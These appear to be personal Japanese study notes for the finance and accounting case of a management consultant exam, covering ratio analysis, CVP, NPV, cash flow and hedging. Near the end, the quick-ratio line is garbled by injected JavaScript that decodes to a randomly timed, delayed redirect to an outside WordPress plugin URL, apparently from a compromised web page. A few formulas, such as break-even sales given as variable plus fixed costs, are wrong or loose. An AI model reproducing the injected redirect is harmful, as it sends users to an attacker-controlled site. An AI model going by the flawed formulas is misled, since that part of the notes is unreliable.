事例４ 財務・会計
確認点 過去のミス事項
＊計算問題は計算過程をキレイに書く練習も（公式分かってる感も出す）
＊（うち＊＊がXX円）の「うち」を見逃して壊滅的な被害になった過去問事例有
＊計算問題において、売上高2823円、変動費1129円と与えられている時、変動費率が39.99%となって40%ではない
⇒有効数字2桁だとこのズレで最終的な値がズレる可能性あるので、試験的にはちゃんと計算した方が良さそう。
＊返済が完済すると同時に再び同額を借り入れることとする★
⇒完済、つまり全額返済してから再び借り入れるということ。（元本を順次借入なおすわけではない）
＊「営業外損益」を固定費とするパターンもあるので、営業外収入がある場合は無視していしまわないように注意。
＊「営業利益」か「経常利益」かなど、聞かれている項目にも注意
＊余裕を持った計算スペース、計算用紙の確保。
＊営業レバレッジ、貢献利益、限界利益、特に重要
＊8000万円の8％は640万円（64万円ではない）＊簡単な暗算ミス避けるために簡単でも電卓活用すること！◇
＊3500万円の耐用年数10年、残存価格10％の、5年後の帳簿価格は（3500-315×5=350+315×5=1925 2通りで計算してミスなくす。◇
＊上記、◇は3回見直しても見つけられなかったミスなので要注意。暗算が入っている計算が特に危険。必ず書き出すこと！
在庫 ☓材庫
比率分析 →得点源！20～30点稼げる！
＊比率分析では単位の回答も求められるので、単位が曖昧なモノは注意
＊また財税状態・経営成績の特徴には理由の記載も必要
（「分析指標が低いから」低いではなく、その分析指標が低くなる理由の方が必要）
＊どの指標を抽出するかは、背景で一番理由付けしやすいものを選ぶこと。
＊３つ指標を挙げる→３つの分析手法から１つずつ選ぶといい
＊収益性が改善したか否かを判定するのにふさわしい財務指標の名称を答えよ
→収益性指標３つを答えるのでも大体OKだが、広義の収益性として「効率性」の指標を加えてもいい（投資の場合は有形固定資産回転率など）
＊回答後に見直しをした場合は、値の修正忘れに注意
〇収益性分析
結論：（収益性が高い/低い）
指標：
売上高総利益率 ＊「総」美注意
売上高営業利益率
売上高経常利益率
理由例：
・丁寧な顧客対応で販管費が高い ⇒ 売上高経常利益率↓
・支払利息が過大、借入金が増加している ⇒ 売上高経常利益率↓
・高い技術力 ⇒ 売上高総利益率↑
・原材料費が高騰 ⇒ 売上高総利益率
・人件費が固定化している ⇒ 売上高営業利益率↓
・営業担当者の残業が多い ⇒ 売上高営業利益率↓
・歩留まりが良く不良品が少ない ⇒ 売上高総利益率↑
・セントラルキッチン化（自社工場保有）でコストが安い ⇒ 売上高総利益率↑
・お土産が人気、ファンが多い ⇒ 売上高総利益率↑
・リストラクチャリングで固定費削減 ⇒ 売上高経常利益率↑
・直接販売が多い ⇒ 売上高総利益率↑
・製造業で人件費が高い ⇒ 売上高総利益率↓ （製造原価に人件費が含まれる）
安直に”差別化に成功している”ではなく、与件文に基づいて”顧客の信頼を得ている”とかも同じレイヤーとして使える。
〇効率性分析
結論：（効率性が高い/低い）
指標：
棚卸資産回転率
有形固定資産回転率
売上債権回転率
販売用不動産回転率
理由；
・顧客志向による評価の高さのため ⇒ 有形固定資産回転率↑？
・業績好調で在庫が少ないため ⇒ 棚卸資産回転率↑
・売上債権、売掛金が少ないため ⇒ 売上債権回転率↓
・集客力が低下しているため ⇒ 有形固定資産回転率↓
・売上の多くを一社に依存している ⇒ 売上債権回転率↓
・機械設備を更新した ⇒ 有形固定資産回転率↑
・需要変動や生産数量の変動が大きい ⇒ 棚卸資産回転率↓
・設備が老朽化している ⇒ 有形固定資産回転率↓
・成り行き的な土地の取得 ⇒ 有形固定資産回転率↓
・広大な敷地を有している ⇒ 有形固定資産回転率↓
・OEM生産によって在庫を抑制できている ⇒ 棚卸資産回転率↑
・歩留まりが悪化している ⇒ 棚卸資産回転率↓
・遊休資産の売却 ⇒ 売上高経常利益率↓
〇安全性分析
安全性には①短期的安全性、②長期的安全性、③資本安全性の3つの観点がある
結論：（安全性が高い/低い）
指標：
負債比率 ＝負債÷自己資本 （★間違いやすいので注意）
自己資本比率
（固定比率）
（固定長期適合率）
理由：
・有利子負債が過大なため ⇒ 負債比率↑
・借入金が多い ⇒ 負債比率↑
・純資産が少ない ⇒ 自己資本比率↓
・事業拡大を負債で調達しているため（多店舗展開を多額の借入金で調達しているため） ⇒ 負債比率↑
・利益を内部留保して再投資している → 固定資本比率↑
（固定比率に問題があっても、固定長期適合率が問題なければ大丈夫とも考えられるので、固定比率での回答には注意）
出資した場合の変化について・・・悪化した場合でも、指標が良い場合は悪化するが指標は良い（問題はない）というのも一個のコメントポイント
＜安全性に関するコメント例＞
安全性に関しては与件文であまり特筆すべきポイントが見当たらないことも多い。
⇒借り入れ依存の経営体質により、資本構成のバランスが悪く、安全性が低い。
上記のようなコメントを補完すると良い。
＜未分類＞
製品のライフサイクルの短縮 ⇒ 棚卸資産回転率が低い？
運転資金が増加している ⇒ 流動比率/当座比率
＜改善策提案＞
借入金が多くて収益性が低い ⇒ ＊＊で売上と利益を増加させ、借入金返済に取り組む
＊＊を売却して借入を返済する
◎取引先から出資を募るは微妙。利子負担自体は変わらない。
需要変動で効率性が低い ⇒ ＊＊で稼働率を向上させて効率性を向上させる
製品ラインを見直して、棚卸資産を削減し効率性を上げる
◎需要変動はどうしようもないので、別で改善策を提案して全体を改善させることで対処。
他の売上を伸ばして売上割合を低下させるは、一見正しそうではあるがマイナー派かも？
（与件文：新規工場建設を検討している、製品ラインの見直しが求められている ⇒ こらを上記の改善のためにスベキダと提案するだけでOK）
当座資産
現金・預金＋受取手形＋売掛金＋有価証券ー貸倒引当金
（棚卸資産は含まない）
PLの分析コメント
回答の粒度感
予測損益計算書から明らかとなる傾向を述べよ
→「売上が減少すると、固定費の負担が大きくなり、収益が低下して赤字となる。」
上記の原因を述べよ
→「固定費が大きく営業レバレッジが大きい。そのため売上変動によって利益の振れ幅が大きい」
営業レバレッジ＝（意味）売上高の変動に対して営業利益がどのくらい変動するか？の指標
（数式）限界利益／営業利益 （限界利益＝売上高-変動費）
（数式２）１÷安全余裕率
営業レバレッジが大きいと、費用に占める固定費の割合は大きい→売上高変動が営業利益の増減に与える影響が大きい
つまり、固定費をどれだけ活用して営業利益を生み出しているかを表す指標でもある。
CVP分析 6年連続出題
＊日本語表現「変動比率は、売上高XX円までは当期の水準と変わらず、XX円を超えた分については60％となる」
→ 変動比率が「当期の水準×60%」になるのではなく、変動比率が「60%」となる という意味。
＊単価が変わる場合の変動費の考え方について
変動費は「売上数量」に比例して考える。＊売上高に比例し、単価を引き上げるに応じて原価も高級になるから上がると考えられる可能性もあるが、特に言及されない場合は原価単価は一定と考えていい
Costを変動費（Volumeに比例する部分）と固定費に分けて計算する。
公式：損益分岐点売上高＝変動費＋固定費
これにあてはめて式を書く（計算過程では公式も記載）
*関連：安全余裕率（経営安全率）・・・比率が高いほど売上高の安全性が高いと言われる指標。
＝（売上高―損益分岐点売上）/売上高
損益分岐点比率＝ 損益分岐点売上 ÷ 売上高
＊どちらの指標も売上高が分母にあるので損益分岐点売上が変わらなくても比率が変わる。
★限界利益＝売上ー変動費 （＊経済学で出る事が多い概念とは若干異なる。ＣＶＰ分析では売上ー変動費の全体）
限界利益率＝限界利益/売上高
＊システム投資の問題→固定費（減価償却費）が増える場合は注意
★貢献利益＝限界利益ー個別固定費 ＊頻出
固定費を個別固定費と共有固定費に分けることで、継続・停止の判断ができる
営業利益がマイナスだったとしても貢献利益がプラスである場合は、共通固定費の回収に貢献しているため、閉店すると利益が減少するので閉店すべきではない。
計算問題では「貢献利益は」と明記した方がいい
＊計算問題の場合、貢献利益を計算するだけでなく、実際に全体の利益が減るところまで計算して示すといい。
★管理可能利益
＝売上高 ー 変動費 ー 管理可能固定費
事業部長の評価に用いられる
★時間の投入量などが与えられる最適化問題
→時間ごとの限界利益を算出して生産数の優先順位をつける。
→貢献利益が分かる場合は貢献利益も出すといい
★変動費率が変わることによる損益分岐点売上の分析コメント
損益分岐点が上昇するが売上が増えて利益が＊＊円増加する。
３つの動きを具体的に入れる方がポイントが高いと思われる。
＜試験Adjust＞
＊特に問題で指定が無ければ「共通固定費」は事業の閉店・開店に関わらず一定と考える。
＊実際には特定は出来ていないだけで間接的には影響する可能性は十分あるが、その可能性は特段記述が無ければ排除して考えるようにする
＊計算式 固定費＝＊＊＊ 変動費＝＊＊＊ で計算すると部分点取れるかも
＊損益分岐点計算の際に、固定費（減価償却費）が増加する際に、その節税効果は考えるべきか？ ⇒ 節税効果は考えなくていい。（売上～売上高利益までは税金無しで考えているので、増分固定費は節税前の値で考える）
セグメント別の業績評価において投下資本営業利益率を用いること
セグメント別の評価を投下資本営業利益率でしている場合、以下の観点での改善の余地あり
・営業利益率を使っている → 金利負担を考慮すして評価すべき
・中長期的な投資効果が評価されず、短期志向になる → 中長期的な投資効果を評価に加える
・事業特性の違いが考慮されず評価が不公平となる → 事業特性を考慮した評価指標も加える
セグメント別の評価方法としては、営業利益ではなく貢献利益で評価することもできる。
＊貢献利益 ＝ 売上ー変動費ー直接固定費
ROIの計算
ROIの定義はお題によって異なる。R2年の事例では営業利益÷セグメント資産（資産）
ソフトウェア導入後の翌年のROIを計算する問題
条件：ソフトウェア導入に関係しない部分の値が時期においても一定
・ソフトウェア導入 → ソフトウェア分だけ資産が増え、減価償却費分だけ低下
・利益留保に伴う資産増加 →（セグメント資産に全ての資産が割り振られているのであれば、考慮の必要あり）
・売上原価 → 売上原価一定の前提でOK
正味現在価値計算
＊正味現在価値で比較する問題では、「正味現在価値が大きいから、NPVが正だから、○○円で正だから」といった理由をしっかりと記載することで、計算ミスしても部分点を狙える。また、比較する場合はそれぞれを計算して算出結果を明記することで得点につながる。＊文章で解答欄に答える際は数値も明記した方がポイントはいりそう。
＊正味価値計算は時間との闘い
＊繁雑な計算も多いので、計算ミスなくパーフェクトな回答は至難の業。細かく丁寧に記載して部分点を狙い、8割位確保する。
＊現価係数を合計して年金係数を作っておくと計算が早い
＊→で整理すると混雑しそうなので、マトリックスで項目ごとに整理するとミスが少なくなりそう
＊税金を加味する必要があるパターンが多いが、「税引き後営業キャッシュフロー」で与えられた場合もある。（この場合は減価償却費なども含まれているので特に税金の処理の必要は無い。）
＊投資案の現在価値を聞いているのか、投資額の現在価値などもチェック（後者を聞かれたこともあったので注意）
＊投資期間終了後に償却しきらない資産がある場合、その売却価格の考えに注意
＊除却と売却の違いに注意！（除却の場合はそのまま取り除くため、除却損が発生する→税金に関わるのでCF変化する）
＊営業利益は・・・、減価償却費は・・・、といった具合で項目別で算出、記載しておくと計算ミスした際に部分点が狙え、致命的な失点になりにくい。
＊PLと時間的価値はズレる事も多いので、PLはPL、CF表はCF表で別で作成した方が混乱せずに済む。
＊赤字期間の税金を考慮して良かった。
フリーキャッシュフロー
企業価値計算の場合、FCF÷WACC を書いておくと得点につながるかも。
フリーキャッシュフローは（営業キャッシュフロー）＋（投資キャッシュフロー）
営業利益－税金＋減価償却費＋運転資本増減＋投資等
＊経常利益ではなく営業利益を使う 金利などの損益は除く
税率は40%と与えられている。→赤字でも企業価値評価の際は公式に当てはめてＦＣＦは計算した方がいい？
赤字だから税金が発生しない、と明記すれば多分OK。
＊FCFには財務CFは含まない
＊フリーキャッシュフロー分析例と解決策案
売上債権の要因で営業CFがマイナスである
⇒受取手形や売掛金の早期回収を図る。回収条件の見直しにより、回収期間の短縮化を図る
仕入債務の要因で営業CFがマイナス出る
⇒掛仕入を推進すること、計画的な仕入債務の運用を図ること
棚卸資産が要因で営業CFがマイナス
⇒棚卸資産の適正管理を図る、在庫の早期現金化を図る
利息の支払が要因で営業CFがマイナス
⇒借入金の早期返済により支払利息を軽減すること
営業CFのプラスより投資CFのマイナスが大きい
⇒投資活動の見直しを行い、営業CF以下での投資に抑えるべき（一時的ならOK）
営業CFと投資CFがともにプラスである
⇒積極的に投資を行い成長を図るべき
★営業キャッシュフローの計算式
営業利益＋減価償却費＋運転資本増減±税金・利子等
運転資本＝（売上債権＋棚卸資産）ー（仕入債務）
キャッシュフロー計算書では、運転資本増減までが小計、これに残り（＋受取利息ー支払利息ー法人税の支払額：法人税等ー未払法人税増減）を加えたものが最終的に営業キャッシュフローとなる。
＊営業キャッシュフローを求める際には小計までの算出と、営業キャッシュフローの算出で分けて計算過程を示すといい。
＊ただし、運転資本増減は考慮しない問題も多いので、どちらなのか注意すること。
★営業キャッシュフローの分析に対するコメント（経営上の課題）
売上債権が増えている・仕入債務が減っている ⇒ 売上債権の増加・仕入債務の低下を抑えるために営業取引内容の見直しを図りキャッシュフローを高めること
売上債権の適正化
支払利息が多い ⇒ ＊＊で利益を増加させ、借入金を返済して支払利息を減少させる
棚卸資産が多い ⇒ 在庫の早期現金化を図ること
需要の平準化によって棚卸資産の削減を図る
新規投資を予定 ⇒ キャッシュフローを改善して新規投資に備えること
＊営業キャッシュフローは正 ⇒ 営業キャッシュフローは正であるが、＊＊にリスクがある。＊＊に備える必要がある。といったことが重要。
大口の取引先を有する場合のデメリットと解決策
デメリット：
30文字にこれだけ詰め込めると満点
「売上依存度増加による経営リスク増大と買い手の交渉力の増大」
デメリット解消のために新市場製品を製造・販売する事のメリット
30文字にこれだけ詰め込めると満点
「需要動向が異なるため経営が安定する。X社依存も緩和できる。」
＊新市場である場合は、需要動向が異なる事を記載すると良い
負債利用のメリット
①節税効果を得られること
②事業の収益率が負債利子率よりも大きければ、財務レバレッジ効果によりROEを高められること
財務レバレッジ：負債比率がROEの変動に大きく影響を与える事
総資産÷自己資本
ROEとROA、デュポン分解
ROE＝財務レバレッジ×ROA
ROE＝財務レバレッジ×売上高総利益率×総資産回転率
財務レバレッジの分析例
Q:負債を返済すると自己資本利益率のばらつきはどうなるか？
A:負債の返済で支払利息が低下するため、経営成績が良くなり自己資本利益率の期待値は黒字化する。
また財務レバレッジが＊＊から◎◎に低下するため、総資本利益率の変化による自己資本利益率の変化ばらつきは小さくなり、経営が安定する。
為替リスクのヘッジ手段
仕入の為替リスク オプションは買える
①為替予約
→円安の場合、為替差損を回避できる。
→円高の場合、為替差益を享受できない。
＜計算例＞
1ドル100円で500万ドルの売り建ての為替予約していたが、売上が430万ドルで為替レートは102円になっていた
→（為替予約は売上が同じであれば、為替差損が生じない。売上が変わった場合は、減った分については為替差損益が当然生じる。）
②コールオプションの購入
→円安の場合、オプション行使により為替差損を回避できる
→円高の場合、プレミアム分の損失が生じる
＜例＞
ドルで海外から購入する場合 ⇒ ドルのコールオプションの買い （1ドル100円）
満期日の為替レートが、行使価格より円高なら放棄する。円安なら行使する
プロテクティブプット ： 原資産の保有＋プットオプションの買い
メリット：原資産の下落時に行使して損失を限定できる。上昇時には権利放棄して値上がり益を得られる。
＜どの様なオプションを用いるべきか？＞50文字
ヨーロピアンタイプのドルのプットオプションを1ドル100円で購入し、円高になった場合に権力行使する
＊字数に余裕がある場合に追加する候補情報
債権の利子率変化のリスク管理手段
金利が上昇すると市場価値はどうなるか？
債権は金利上昇分に応じて・（現在価値低下のため、）市場価値は低下する。（どれ位低下するか、なぜ低下するかをかけたら◎）
ヘッジ手段
①金利連動型金融商品への投資
金利に応じた預金と組み合わせる。
（金利スワップを購入を提案したが、微妙かも？）
②ほかの金融商品とのポートフォリオ
債権のポートフォリオを組む
投資有価証券と組み合わせる （ややリスク大きい）
③短期変動債権を組み合わせる
効果
リスク分散。価格の確定、損益のヘッジ
債権の場合は基本的にはポートフォリオで分散させる方向性がいい。
減損会計
資産の収益性の低下を認識し、回収可能な金額まで帳簿価格を減額すること
減損損失の認識
割引前将来キャッシュフローが帳簿価格を下回るか？を確認する
費用
直接費：商品との対応関係が明確な費用
間接費：複数の製品に共通に消費されるため、製品との個別対応が困難な費用
変動費：操業度（売上数）に比例して増減する費用
固定費：操業度に関係なく生じる費用
個別原価計算：１つの製品ごとに原価を集計する方法で、受注生産形態に採用される
総合原価計算：一定期間の総製造原価を総生産量で割ることで、製品案にあたりの原価を計算する方法で、大量生産形態に採用される。
回収期間法
プロジェクトの流動性を評価する場合の指標
（回収期間法が分からなくても、計算結果なしで結論書くだけでもと得点になる可能性は高い。
また回収期間法に基づいて・・・と過程なしでも部分点GETできそう）
＊デュレーションは無し
回収期間法：投資額が何年で返ってくるかの指標。端数は、その年のCFで割り算する
＊デメリット：
①時間的価値を考慮できない。
②キャッシュフローの規模を考慮できない、
③回収期間以降について評価対象にならない
システム導入による収益や費用への効果
業者の運営する予約システム導入による収益や費用への効果
・営業時間外の予約受付やネット上の露出増加で収益性が増加する
・システム料金の発生、予約管理負担増で費用は増加する
＜試験用メモ＞
（設問中にもヒント文がまるっと入っている場合があるのでしっかり読む事！。何が自社のネットシステムで、何が業者のシステムか、設問で聞かれているのはどちらなのか？をしっかりチェック。
例えば本文では「業者のシステムでは〇〇であった。そこで自社システムを開発することにした」という流れであっても「業者システム」の方のメリット・デメリットを聞かれる事も十分ある
承継先として適切な相手とその際の留意点を説明せよ
承継先の例（２～３個挙げられると望ましい。）
①同一地域の同業他社（周辺旅館等）
②従業員
③同カテゴリの業種（旅行代理店、その他ホテル業等）
④その他の業種・金融機関など
留意点（＊が書けると良かった。留意点を答える場合はこれらを並べる形でいい。
・強みであるサービスを維持する事
・従業員の雇用を守ってもらう事
・顧客との関係性を維持・強化する事。＊
・売却価格が適正な条件である事。＊ （このあたりまでで4つ位書けてるとPrerfect）
・負債を処理できる十分な経営体質であること
・経営に関する十分な知識を有している事。＊
・企業文化を維持できること・類似している事。＊
・シナジーがあること
・承継先候補の調査をすること。＊
赤字企業の買収時のリスクに対する助言
（負債で買収する場合）
「当期純損失が赤字で負債も増加するため収益性低下のリスクがあり、シナジーを活用できるか慎重に検討する必要がある」
＊買収 → シナジー活用 がポイント
連結財務諸表を作成する目的
目的：
企業集団の親会社が企業集団の財務状況や経営成績等の状況を総合的に報告すること
子会社：実質的に意思決定機関を支配しているか否かの支配基準できまる
のれん
買収された企業の時価評価純資産額と、実際の取得価格の差額
貸借対照表上では、無形固定資産に計上し、20年以内のその効果が及ぶ基幹で合理的な方法で規則的に償却する。
のれんの償却費は、PL上は販売費および一般管理費に計上される
資産の方が多い時の買収した時の会計処理40文字
時価評価差額の100百万円を負ののれんで利益計上、特別利益に一括計上する
＊時価評価する事、額面、BS・PLでの計上項目を全て
＊負ののれんは一括計上する（分割・減価償却しない）
定率法の計算方法
200％定率法：最初の1年目の償却額が定額法の2倍となる様に償却率を定める方法
償却率は、残存金額に対してかけていくもの。
減価償却方法によってNPVが変わるのはなぜか？
⇒＊＊期が赤字で、この期間の減価償却費の節税効果が享受できないため差が生じる
（＊＊期が赤字、と明記するのもポイント。）
考慮すべきリスクに関するコスト
＊考慮すべきリスクに関するコスト、で「コスト」ではなく「リスク」をこたえてしまった例あり。
与件文にもよるが以下が回答例
＊環境制御の失敗による商品廃棄コスト
＊納品時の検査での商品廃棄コスト
＊生育計画・生産計画失敗による在庫管理コスト
＊天候変動リスクに基づく光熱費増加コスト
etc。
財務指標（一次試験から）
・インスタントカバレッジレシオ ＝ 営業利益÷支払利息
・固定長期適合率 ＝ 固定資産÷（固定負債＋自己資本）
つまり流動資産・負債を排除した際の比率。低いが望ましい。（忘れやすい）
・自己資本利益率 ＝ 税引前当期純利益÷自己資本
・固定比率 ＝ 固定資産 ÷ 自己資本 固定資産をどれだけ自己資本で賄っているか？
・負債比率 ＝ 負債 ÷ 自己資本 レバレッジー１
・流動比率 ＝ 流動資産 ÷ 流動負債 流動資産で流動負債に対応できるか？
・自己資本比率 ＝ 自己資本 ÷ 総資本
・当座比率 ＝ toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, 游ゴシック体, ‘Yu Gothic’, YuGothic, ‘ヒラギノ角ゴシック Pro’, ‘Hiragino Kaku Gothic Pro’, メイリオ, Meiryo, ‘ＭＳ Ｐゴシック’, ‘MS PGothic’, sans-serif;”>当座資産 ÷ 流動負債 当座資産だけで流動負債に対応できるか？
（当座資産 ＝ 「現金」もしくは「短期間で容易に現金化できる資産」のこと。現金、預金、受取手形、売掛金、有価証券など）
・総資本営業利益率 ＝ 営業利益率÷総資本
・総資本回転率 ＝ 売上高 ÷ 総資本 単位：（回）
・1株当たり利益(EPS) = 利益÷株数
・株価収益率（PER） ＝ 株価 ÷ 1株当たり利益 何年分で回収できるか？
・株価純資産倍率（PBR） = 株価 ÷ 1株当たり純資産 *厳密には非支配株主持分と新株予約権を除く Price Book value Ratio
・1株当たり純資産（BPS） ＝ 純資産÷株数 Book value Per Share
＊資産と負債系の指標は分子に資産・分母に負債が多い
・付加価値率 =付加価値÷売上高
・労働生産性 =付加価値÷従業員数（労働量）
・労働装備率 =有形固定資産÷従業員数
・設備生産性 =付加価値÷有形固定資産
・労働分配率 =人件費÷付加価値
・付加価値 =営業利益（経常利益＋賃借料＋＋金融費用＋租税公課）＋人件費＋減価償却費
売上高―外部購入価値